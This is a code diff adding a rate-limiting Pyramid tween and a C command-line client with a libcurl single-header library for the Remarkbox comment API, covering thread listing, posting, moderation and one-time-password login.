@ -0,0 +1,92 @@
|
||||||
|
import time
|
||||||
|
from collections import defaultdict
|
||||||
|
|
||||||
|
from pyramid.response import Response
|
||||||
|
|
||||||
|
|
||||||
|
def rate_limit_tween_factory(handler, registry):
|
||||||
|
"""
|
||||||
|
Pyramid tween that rate-limits /api/v1/ requests and enforces
|
||||||
|
the global api.enabled kill-switch.
|
||||||
|
|
||||||
|
Configuration (from .ini):
|
||||||
|
api.enabled = true
|
||||||
|
api.rate_limit.read_requests = 120
|
||||||
|
api.rate_limit.write_requests = 30
|
||||||
|
api.rate_limit.window = 60
|
||||||
|
api.rate_limit.create_thread_requests = 1
|
||||||
|
api.rate_limit.create_thread_window = 420
|
||||||
|
"""
|
||||||
|
settings = registry.settings
|
||||||
|
api_enabled = settings.get("api.enabled", "true").strip().lower() in ("true", "1", "yes")
|
||||||
|
read_limit = int(settings.get("api.rate_limit.read_requests", 120))
|
||||||
|
write_limit = int(settings.get("api.rate_limit.write_requests", 30))
|
||||||
|
window = int(settings.get("api.rate_limit.window", 60))
|
||||||
|
create_thread_limit = int(settings.get("api.rate_limit.create_thread_requests", 5))
|
||||||
|
create_thread_window = int(settings.get("api.rate_limit.create_thread_window", 3600))
|
||||||
|
|
||||||
|
# In-memory storage: {key: [timestamp, ...]}
|
||||||
|
request_log = defaultdict(list)
|
||||||
|
create_thread_log = defaultdict(list)
|
||||||
|
|
||||||
|
def rate_limit_tween(request):
|
||||||
|
if not request.path.startswith("/api/v1/"):
|
||||||
|
return handler(request)
|
||||||
|
|
||||||
|
if not api_enabled:
|
||||||
|
return Response(
|
||||||
|
json_body={"error": "API is disabled"},
|
||||||
|
status=404,
|
||||||
|
content_type="application/json",
|
||||||
|
)
|
||||||
|
|
||||||
|
auth_id = request.session.get("authenticated_user_id")
|
||||||
|
key = "user:{}".format(auth_id) if auth_id else "ip:{}".format(request.client_addr)
|
||||||
|
|
||||||
|
now = time.time()
|
||||||
|
cutoff = now - window
|
||||||
|
|
||||||
|
# Clean old entries
|
||||||
|
request_log[key] = [t for t in request_log[key] if t > cutoff]
|
||||||
|
|
||||||
|
# Determine limit based on method
|
||||||
|
limit = write_limit if request.method in ("POST", "PUT", "PATCH", "DELETE") else read_limit
|
||||||
|
|
||||||
|
if len(request_log[key]) >= limit:
|
||||||
|
retry_after = int(request_log[key][0] + window - now) + 1
|
||||||
|
return Response(
|
||||||
|
json_body={
|
||||||
|
"error": "Rate limit exceeded",
|
||||||
|
"retry_after": retry_after,
|
||||||
|
},
|
||||||
|
status=429,
|
||||||
|
content_type="application/json",
|
||||||
|
)
|
||||||
|
|
||||||
|
# Stricter limit for thread creation to prevent spam floods
|
||||||
|
is_create_thread = (
|
||||||
|
request.method == "POST" and request.path == "/api/v1/threads"
|
||||||
|
)
|
||||||
|
if is_create_thread:
|
||||||
|
ct_cutoff = now - create_thread_window
|
||||||
|
create_thread_log[key] = [
|
||||||
|
t for t in create_thread_log[key] if t > ct_cutoff
|
||||||
|
]
|
||||||
|
if len(create_thread_log[key]) >= create_thread_limit:
|
||||||
|
retry_after = int(
|
||||||
|
create_thread_log[key][0] + create_thread_window - now
|
||||||
|
) + 1
|
||||||
|
return Response(
|
||||||
|
json_body={
|
||||||
|
"error": "Thread creation rate limit exceeded",
|
||||||
|
"retry_after": retry_after,
|
||||||
|
},
|
||||||
|
status=429,
|
||||||
|
content_type="application/json",
|
||||||
|
)
|
||||||
|
create_thread_log[key].append(now)
|
||||||
|
|
||||||
|
request_log[key].append(now)
|
||||||
|
return handler(request)
|
||||||
|
|
||||||
|
return rate_limit_tween
|
||||||
156
remarkbox/api/rb.c
Normal file
|
|
@ -0,0 +1,156 @@
|
||||||
|
/*
|
||||||
|
* rb.c — Remarkbox CLI client (uses rb.h library)
|
||||||
|
*
|
||||||
|
* Compile:
|
||||||
|
* gcc rb.c -o rb -lcurl
|
||||||
|
*
|
||||||
|
* Download both files:
|
||||||
|
* curl -s https://REMARKBOX/api/v1/clients/c -o rb.c
|
||||||
|
* curl -s https://REMARKBOX/api/v1/clients/c?file=rb.h -o rb.h
|
||||||
|
* gcc rb.c -o rb -lcurl
|
||||||
|
*
|
||||||
|
* Usage:
|
||||||
|
* rb [uri] <command> [args...]
|
||||||
|
*
|
||||||
|
* If uri is omitted, uses REMARKBOX_URL environment variable.
|
||||||
|
* Session cookies stored at REMARKBOX_COOKIES or ~/.config/remarkbox/cookies.txt
|
||||||
|
*
|
||||||
|
* License: Same as Remarkbox
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define RB_IMPLEMENTATION
|
||||||
|
#include "rb.h"
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
#define CLI_VERSION RB_LIB_VERSION
|
||||||
|
|
||||||
|
static void usage(void)
|
||||||
|
{
|
||||||
|
fprintf(stderr,
|
||||||
|
"rb %s — Remarkbox CLI client\n"
|
||||||
|
"\n"
|
||||||
|
"Usage: rb [uri] <command> [args...]\n"
|
||||||
|
"\n"
|
||||||
|
"If uri is omitted, uses REMARKBOX_URL environment variable.\n"
|
||||||
|
"Session cookies are stored at REMARKBOX_COOKIES or\n"
|
||||||
|
"~/.config/remarkbox/cookies.txt\n"
|
||||||
|
"\n"
|
||||||
|
"Commands:\n"
|
||||||
|
" version Deployed version\n"
|
||||||
|
" threads <namespace> List threads\n"
|
||||||
|
" thread <node_id> Get thread with replies\n"
|
||||||
|
" search <namespace> <query> Search threads\n"
|
||||||
|
" node <node_id> Get a single node\n"
|
||||||
|
" post <namespace> <title> <data> [name] Create thread\n"
|
||||||
|
" reply <node_id> <data> [name] Reply to node\n"
|
||||||
|
" edit <node_id> <data> Edit a node\n"
|
||||||
|
" disable <node_id> Disable a node\n"
|
||||||
|
" enable <node_id> Enable a node\n"
|
||||||
|
" approve <node_id> Approve a node\n"
|
||||||
|
" lock <node_id> Lock a thread\n"
|
||||||
|
" unlock <node_id> Unlock a thread\n"
|
||||||
|
" delete <node_id> Delete a node\n"
|
||||||
|
" login <email> Request OTP\n"
|
||||||
|
" verify <email> <otp> Verify OTP\n"
|
||||||
|
" profile Show current user\n"
|
||||||
|
"\n"
|
||||||
|
"Examples:\n"
|
||||||
|
" rb https://my.remarkbox.com threads meta.remarkbox.com\n"
|
||||||
|
" rb threads meta.remarkbox.com # uses REMARKBOX_URL\n"
|
||||||
|
" rb login user@example.com\n"
|
||||||
|
" rb verify user@example.com 123456\n"
|
||||||
|
" rb post meta.remarkbox.com \"Title\" \"Body\" MyBot\n"
|
||||||
|
"\n"
|
||||||
|
"Compile: gcc rb.c -o rb -lcurl\n"
|
||||||
|
"\n", CLI_VERSION);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Run a command, print the response, return exit code. */
|
||||||
|
static int run(rb_response_t r)
|
||||||
|
{
|
||||||
|
if (r.body && r.body_len > 0)
|
||||||
|
rb_json_pretty(r.body);
|
||||||
|
int rc = r.ok ? 0 : 1;
|
||||||
|
rb_response_free(&r);
|
||||||
|
return rc;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char *argv[])
|
||||||
|
{
|
||||||
|
const char *base_uri;
|
||||||
|
int cmd_start;
|
||||||
|
|
||||||
|
if (argc < 2) { usage(); return 1; }
|
||||||
|
|
||||||
|
/* Determine if first arg is a URI or a command */
|
||||||
|
if (strncmp(argv[1], "http://", 7) == 0 || strncmp(argv[1], "https://", 8) == 0) {
|
||||||
|
base_uri = argv[1];
|
||||||
|
cmd_start = 2;
|
||||||
|
} else {
|
||||||
|
base_uri = getenv("REMARKBOX_URL");
|
||||||
|
if (!base_uri || !*base_uri) {
|
||||||
|
fprintf(stderr, "rb: no URI provided and REMARKBOX_URL not set\n");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
cmd_start = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (cmd_start >= argc) { usage(); return 1; }
|
||||||
|
|
||||||
|
curl_global_init(CURL_GLOBAL_DEFAULT);
|
||||||
|
|
||||||
|
rb_client_t *c = rb_client_new(base_uri, NULL);
|
||||||
|
const char *cmd = argv[cmd_start];
|
||||||
|
int nargs = argc - cmd_start - 1;
|
||||||
|
char **args = argv + cmd_start + 1;
|
||||||
|
int rc = 1;
|
||||||
|
|
||||||
|
if (strcmp(cmd, "version") == 0) {
|
||||||
|
rc = run(rb_version(c));
|
||||||
|
} else if (strcmp(cmd, "threads") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_list_threads(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "thread") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_get_thread(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "search") == 0 && nargs >= 2) {
|
||||||
|
rc = run(rb_search_threads(c, args[0], args[1]));
|
||||||
|
} else if (strcmp(cmd, "node") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_get_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "post") == 0 && nargs >= 3) {
|
||||||
|
rc = run(rb_create_thread(c, args[0], args[1], args[2],
|
||||||
|
nargs >= 4 ? args[3] : NULL));
|
||||||
|
} else if (strcmp(cmd, "reply") == 0 && nargs >= 2) {
|
||||||
|
rc = run(rb_reply(c, args[0], args[1], nargs >= 3 ? args[2] : NULL));
|
||||||
|
} else if (strcmp(cmd, "edit") == 0 && nargs >= 2) {
|
||||||
|
rc = run(rb_edit_node(c, args[0], args[1]));
|
||||||
|
} else if (strcmp(cmd, "disable") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_disable_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "enable") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_enable_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "approve") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_approve_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "lock") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_lock_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "unlock") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_unlock_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "delete") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_delete_node(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "login") == 0 && nargs >= 1) {
|
||||||
|
rc = run(rb_login(c, args[0]));
|
||||||
|
} else if (strcmp(cmd, "verify") == 0 && nargs >= 2) {
|
||||||
|
rc = run(rb_verify(c, args[0], args[1]));
|
||||||
|
} else if (strcmp(cmd, "profile") == 0) {
|
||||||
|
rc = run(rb_get_profile(c));
|
||||||
|
} else if (strcmp(cmd, "help") == 0 || strcmp(cmd, "--help") == 0 ||
|
||||||
|
strcmp(cmd, "-h") == 0) {
|
||||||
|
usage(); rc = 0;
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "rb: unknown command '%s'\n\n", cmd);
|
||||||
|
usage(); rc = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_client_free(c);
|
||||||
|
curl_global_cleanup();
|
||||||
|
return rc;
|
||||||
|
}
|
||||||
485
remarkbox/api/rb.h
Normal file
|
|
@ -0,0 +1,485 @@
|
||||||
|
/*
|
||||||
|
* rb.h — Remarkbox C library (single-header, libcurl only)
|
||||||
|
*
|
||||||
|
* Download:
|
||||||
|
* curl -s https://REMARKBOX/api/v1/clients/c?file=rb.h -o rb.h
|
||||||
|
*
|
||||||
|
* Usage as a library:
|
||||||
|
* // In exactly ONE .c file, before including:
|
||||||
|
* #define RB_IMPLEMENTATION
|
||||||
|
* #include "rb.h"
|
||||||
|
*
|
||||||
|
* // In all other .c files, just:
|
||||||
|
* #include "rb.h"
|
||||||
|
*
|
||||||
|
* Quick start:
|
||||||
|
* rb_client_t *c = rb_client_new("https://my.remarkbox.com", NULL);
|
||||||
|
* rb_response_t r = rb_version(c);
|
||||||
|
* if (r.ok) printf("%s\n", r.body);
|
||||||
|
* rb_response_free(&r);
|
||||||
|
* rb_client_free(c);
|
||||||
|
*
|
||||||
|
* Requires: libcurl (link with -lcurl)
|
||||||
|
* License: Same as Remarkbox
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef RB_H
|
||||||
|
#define RB_H
|
||||||
|
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <curl/curl.h>
|
||||||
|
|
||||||
|
#define RB_LIB_VERSION "0.1.0"
|
||||||
|
#define RB_MAX_URI 2048
|
||||||
|
#define RB_MAX_BODY 1048576 /* 1 MB response limit */
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Types
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
char *base_uri; /* e.g. "https://my.remarkbox.com" */
|
||||||
|
char *cookie_path; /* path to Netscape cookie jar */
|
||||||
|
} rb_client_t;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
int ok; /* 1 if HTTP 2xx, 0 otherwise */
|
||||||
|
long status; /* HTTP status code */
|
||||||
|
char *body; /* raw JSON response (caller must rb_response_free) */
|
||||||
|
size_t body_len;
|
||||||
|
} rb_response_t;
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Client lifecycle
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Create a client. cookie_path may be NULL for default
|
||||||
|
(~/.config/remarkbox/cookies.txt or REMARKBOX_COOKIES). */
|
||||||
|
rb_client_t *rb_client_new(const char *base_uri, const char *cookie_path);
|
||||||
|
|
||||||
|
/* Free a client. */
|
||||||
|
void rb_client_free(rb_client_t *c);
|
||||||
|
|
||||||
|
/* Free response body. */
|
||||||
|
void rb_response_free(rb_response_t *r);
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* API methods — each returns rb_response_t with raw JSON in body
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Version */
|
||||||
|
rb_response_t rb_version(rb_client_t *c);
|
||||||
|
|
||||||
|
/* Threads */
|
||||||
|
rb_response_t rb_list_threads(rb_client_t *c, const char *ns);
|
||||||
|
rb_response_t rb_get_thread(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_search_threads(rb_client_t *c, const char *ns, const char *query);
|
||||||
|
rb_response_t rb_create_thread(rb_client_t *c, const char *ns, const char *title,
|
||||||
|
const char *data, const char *anon_name);
|
||||||
|
|
||||||
|
/* Replies */
|
||||||
|
rb_response_t rb_reply(rb_client_t *c, const char *node_id, const char *data,
|
||||||
|
const char *anon_name);
|
||||||
|
|
||||||
|
/* Nodes */
|
||||||
|
rb_response_t rb_get_node(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_edit_node(rb_client_t *c, const char *node_id, const char *data);
|
||||||
|
rb_response_t rb_disable_node(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_enable_node(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_approve_node(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_lock_node(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_unlock_node(rb_client_t *c, const char *node_id);
|
||||||
|
rb_response_t rb_delete_node(rb_client_t *c, const char *node_id);
|
||||||
|
|
||||||
|
/* Auth */
|
||||||
|
rb_response_t rb_login(rb_client_t *c, const char *email);
|
||||||
|
rb_response_t rb_verify(rb_client_t *c, const char *email, const char *otp);
|
||||||
|
|
||||||
|
/* Profile */
|
||||||
|
rb_response_t rb_get_profile(rb_client_t *c);
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Utility
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
/* Pretty-print JSON to stdout. */
|
||||||
|
void rb_json_pretty(const char *json);
|
||||||
|
|
||||||
|
/* Escape a string for use inside a JSON string value.
|
||||||
|
Writes to out (must be at least out_size bytes). */
|
||||||
|
void rb_json_escape(const char *s, char *out, size_t out_size);
|
||||||
|
|
||||||
|
|
||||||
|
/* =========================================================================
|
||||||
|
* IMPLEMENTATION — include this in exactly one .c file
|
||||||
|
* ========================================================================= */
|
||||||
|
|
||||||
|
#ifdef RB_IMPLEMENTATION
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Internal: response buffer
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
struct rb__buf {
|
||||||
|
char *data;
|
||||||
|
size_t len;
|
||||||
|
size_t cap;
|
||||||
|
};
|
||||||
|
|
||||||
|
static void rb__buf_init(struct rb__buf *b)
|
||||||
|
{
|
||||||
|
b->cap = 4096;
|
||||||
|
b->data = (char *)malloc(b->cap);
|
||||||
|
b->len = 0;
|
||||||
|
if (b->data) b->data[0] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
static size_t rb__write_cb(void *ptr, size_t size, size_t nmemb, void *userdata)
|
||||||
|
{
|
||||||
|
struct rb__buf *b = (struct rb__buf *)userdata;
|
||||||
|
size_t bytes = size * nmemb;
|
||||||
|
|
||||||
|
if (b->len + bytes + 1 > RB_MAX_BODY)
|
||||||
|
bytes = RB_MAX_BODY - b->len - 1;
|
||||||
|
|
||||||
|
if (b->len + bytes + 1 > b->cap) {
|
||||||
|
size_t newcap = b->cap * 2;
|
||||||
|
while (newcap < b->len + bytes + 1) newcap *= 2;
|
||||||
|
if (newcap > RB_MAX_BODY) newcap = RB_MAX_BODY;
|
||||||
|
char *tmp = (char *)realloc(b->data, newcap);
|
||||||
|
if (!tmp) return 0;
|
||||||
|
b->data = tmp;
|
||||||
|
b->cap = newcap;
|
||||||
|
}
|
||||||
|
|
||||||
|
memcpy(b->data + b->len, ptr, bytes);
|
||||||
|
b->len += bytes;
|
||||||
|
b->data[b->len] = '\0';
|
||||||
|
return size * nmemb;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Internal: default cookie path
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static const char *rb__default_cookie_path(void)
|
||||||
|
{
|
||||||
|
const char *env = getenv("REMARKBOX_COOKIES");
|
||||||
|
if (env && *env) return env;
|
||||||
|
|
||||||
|
static char path[1024];
|
||||||
|
const char *home = getenv("HOME");
|
||||||
|
if (!home) home = ".";
|
||||||
|
snprintf(path, sizeof(path), "%s/.config/remarkbox/cookies.txt", home);
|
||||||
|
return path;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Client lifecycle
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
rb_client_t *rb_client_new(const char *base_uri, const char *cookie_path)
|
||||||
|
{
|
||||||
|
rb_client_t *c = (rb_client_t *)calloc(1, sizeof(rb_client_t));
|
||||||
|
if (!c) return NULL;
|
||||||
|
|
||||||
|
/* Strip trailing slash */
|
||||||
|
size_t len = strlen(base_uri);
|
||||||
|
while (len > 0 && base_uri[len - 1] == '/') len--;
|
||||||
|
c->base_uri = (char *)malloc(len + 1);
|
||||||
|
if (c->base_uri) { memcpy(c->base_uri, base_uri, len); c->base_uri[len] = '\0'; }
|
||||||
|
|
||||||
|
const char *cp = cookie_path ? cookie_path : rb__default_cookie_path();
|
||||||
|
c->cookie_path = (char *)malloc(strlen(cp) + 1);
|
||||||
|
if (c->cookie_path) strcpy(c->cookie_path, cp);
|
||||||
|
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
|
||||||
|
void rb_client_free(rb_client_t *c)
|
||||||
|
{
|
||||||
|
if (!c) return;
|
||||||
|
free(c->base_uri);
|
||||||
|
free(c->cookie_path);
|
||||||
|
free(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
void rb_response_free(rb_response_t *r)
|
||||||
|
{
|
||||||
|
free(r->body);
|
||||||
|
r->body = NULL;
|
||||||
|
r->body_len = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Internal: HTTP request
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static rb_response_t rb__request(rb_client_t *c, const char *method,
|
||||||
|
const char *api_path, const char *json_body,
|
||||||
|
const char *extra_header)
|
||||||
|
{
|
||||||
|
rb_response_t result = {0, 0, NULL, 0};
|
||||||
|
char uri[RB_MAX_URI];
|
||||||
|
struct rb__buf resp;
|
||||||
|
|
||||||
|
snprintf(uri, sizeof(uri), "%s%s", c->base_uri, api_path);
|
||||||
|
rb__buf_init(&resp);
|
||||||
|
|
||||||
|
CURL *curl = curl_easy_init();
|
||||||
|
if (!curl) {
|
||||||
|
result.body = (char *)malloc(32);
|
||||||
|
if (result.body) { strcpy(result.body, "{\"error\":\"curl init failed\"}"); result.body_len = strlen(result.body); }
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
curl_easy_setopt(curl, CURLOPT_URL, uri);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, method);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, rb__write_cb);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &resp);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, c->cookie_path);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, c->cookie_path);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_USERAGENT, "rb/" RB_LIB_VERSION);
|
||||||
|
|
||||||
|
struct curl_slist *headers = NULL;
|
||||||
|
headers = curl_slist_append(headers, "Accept: application/json");
|
||||||
|
if (json_body) {
|
||||||
|
headers = curl_slist_append(headers, "Content-Type: application/json");
|
||||||
|
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, json_body);
|
||||||
|
}
|
||||||
|
if (extra_header)
|
||||||
|
headers = curl_slist_append(headers, extra_header);
|
||||||
|
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
|
||||||
|
|
||||||
|
CURLcode res = curl_easy_perform(curl);
|
||||||
|
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &result.status);
|
||||||
|
curl_slist_free_all(headers);
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
|
|
||||||
|
if (res != CURLE_OK) {
|
||||||
|
free(resp.data);
|
||||||
|
result.body = (char *)malloc(128);
|
||||||
|
if (result.body) {
|
||||||
|
snprintf(result.body, 128, "{\"error\":\"%s\"}", curl_easy_strerror(res));
|
||||||
|
result.body_len = strlen(result.body);
|
||||||
|
}
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
result.ok = (result.status >= 200 && result.status < 400);
|
||||||
|
result.body = resp.data; /* caller owns this now */
|
||||||
|
result.body_len = resp.len;
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Utility
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
void rb_json_escape(const char *s, char *out, size_t out_size)
|
||||||
|
{
|
||||||
|
size_t j = 0;
|
||||||
|
for (size_t i = 0; s[i] && j + 6 < out_size; i++) {
|
||||||
|
switch (s[i]) {
|
||||||
|
case '"': out[j++] = '\\'; out[j++] = '"'; break;
|
||||||
|
case '\\': out[j++] = '\\'; out[j++] = '\\'; break;
|
||||||
|
case '\n': out[j++] = '\\'; out[j++] = 'n'; break;
|
||||||
|
case '\r': out[j++] = '\\'; out[j++] = 'r'; break;
|
||||||
|
case '\t': out[j++] = '\\'; out[j++] = 't'; break;
|
||||||
|
default:
|
||||||
|
if ((unsigned char)s[i] < 0x20)
|
||||||
|
j += snprintf(out + j, out_size - j, "\\u%04x", (unsigned char)s[i]);
|
||||||
|
else
|
||||||
|
out[j++] = s[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
out[j] = '\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
void rb_json_pretty(const char *s)
|
||||||
|
{
|
||||||
|
int indent = 0, in_string = 0, escaped = 0;
|
||||||
|
for (; *s; s++) {
|
||||||
|
if (escaped) { putchar(*s); escaped = 0; continue; }
|
||||||
|
if (*s == '\\' && in_string) { putchar(*s); escaped = 1; continue; }
|
||||||
|
if (*s == '"') { in_string = !in_string; putchar(*s); continue; }
|
||||||
|
if (in_string) { putchar(*s); continue; }
|
||||||
|
switch (*s) {
|
||||||
|
case '{': case '[':
|
||||||
|
putchar(*s); putchar('\n'); indent += 2;
|
||||||
|
for (int i = 0; i < indent; i++) putchar(' ');
|
||||||
|
break;
|
||||||
|
case '}': case ']':
|
||||||
|
putchar('\n'); indent -= 2; if (indent < 0) indent = 0;
|
||||||
|
for (int i = 0; i < indent; i++) putchar(' ');
|
||||||
|
putchar(*s); break;
|
||||||
|
case ',':
|
||||||
|
putchar(*s); putchar('\n');
|
||||||
|
for (int i = 0; i < indent; i++) putchar(' ');
|
||||||
|
break;
|
||||||
|
case ':': putchar(*s); putchar(' '); break;
|
||||||
|
default:
|
||||||
|
if (*s != ' ' && *s != '\t' && *s != '\n' && *s != '\r')
|
||||||
|
putchar(*s);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
putchar('\n');
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* Internal: URI encoding helper
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
static void rb__uri_encode(const char *s, char *out, size_t out_size)
|
||||||
|
{
|
||||||
|
CURL *curl = curl_easy_init();
|
||||||
|
if (curl) {
|
||||||
|
char *enc = curl_easy_escape(curl, s, 0);
|
||||||
|
if (enc) { snprintf(out, out_size, "%s", enc); curl_free(enc); }
|
||||||
|
else { snprintf(out, out_size, "%s", s); }
|
||||||
|
curl_easy_cleanup(curl);
|
||||||
|
} else {
|
||||||
|
snprintf(out, out_size, "%s", s);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---------------------------------------------------------------------------
|
||||||
|
* API methods
|
||||||
|
* ------------------------------------------------------------------------- */
|
||||||
|
|
||||||
|
rb_response_t rb_version(rb_client_t *c)
|
||||||
|
{
|
||||||
|
return rb__request(c, "GET", "/api/v1/version", NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_list_threads(rb_client_t *c, const char *ns)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI], enc[1024];
|
||||||
|
rb__uri_encode(ns, enc, sizeof(enc));
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/threads?namespace=%s", enc);
|
||||||
|
return rb__request(c, "GET", path, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_get_thread(rb_client_t *c, const char *node_id)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI];
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/threads/%s", node_id);
|
||||||
|
return rb__request(c, "GET", path, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_search_threads(rb_client_t *c, const char *ns, const char *query)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI], enc_ns[512], enc_q[512];
|
||||||
|
rb__uri_encode(ns, enc_ns, sizeof(enc_ns));
|
||||||
|
rb__uri_encode(query, enc_q, sizeof(enc_q));
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/threads/search?namespace=%s&q=%s",
|
||||||
|
enc_ns, enc_q);
|
||||||
|
return rb__request(c, "GET", path, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_create_thread(rb_client_t *c, const char *ns, const char *title,
|
||||||
|
const char *data, const char *anon_name)
|
||||||
|
{
|
||||||
|
char body[RB_MAX_BODY];
|
||||||
|
char ens[2048], etitle[2048], edata[524288], ename[512];
|
||||||
|
rb_json_escape(ns, ens, sizeof(ens));
|
||||||
|
rb_json_escape(title, etitle, sizeof(etitle));
|
||||||
|
rb_json_escape(data, edata, sizeof(edata));
|
||||||
|
if (anon_name) {
|
||||||
|
rb_json_escape(anon_name, ename, sizeof(ename));
|
||||||
|
snprintf(body, sizeof(body),
|
||||||
|
"{\"namespace\":\"%s\",\"title\":\"%s\",\"data\":\"%s\","
|
||||||
|
"\"anonymous_name\":\"%s\"}", ens, etitle, edata, ename);
|
||||||
|
} else {
|
||||||
|
snprintf(body, sizeof(body),
|
||||||
|
"{\"namespace\":\"%s\",\"title\":\"%s\",\"data\":\"%s\"}",
|
||||||
|
ens, etitle, edata);
|
||||||
|
}
|
||||||
|
return rb__request(c, "POST", "/api/v1/threads", body, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
rb_response_t rb_reply(rb_client_t *c, const char *node_id, const char *data,
|
||||||
|
const char *anon_name)
|
||||||
|
{
|
||||||
|
char path[RB_MAX_URI], body[RB_MAX_BODY];
|
||||||
|
char edata[524288], ename[512];
|
||||||
|
rb_json_escape(data, edata, sizeof(edata));
|
||||||
|
snprintf(path, sizeof(path), "/api/v1/threads/%s/replies", node_id);
|
||||||
|
if (anon_name) {
|
||||||
|
rb_json_escape(anon_name, ename, sizeof(ename));
|
||||||
|
snprintf(body, sizeof(body),
|
||||||
|
"{\"data\":\"%s\",\"anonymous_name\":\"%s\"}", edata, ename);
|
||||||
|
} else {
|
||||||
|
snprintf(body, sizeof(body), "{\"data\":\"%s\"}", edata);
|
||||||
|
}
|
||||||
|
return rb__request(c, "POST", path, body, NULL);
|
||||||
|
}
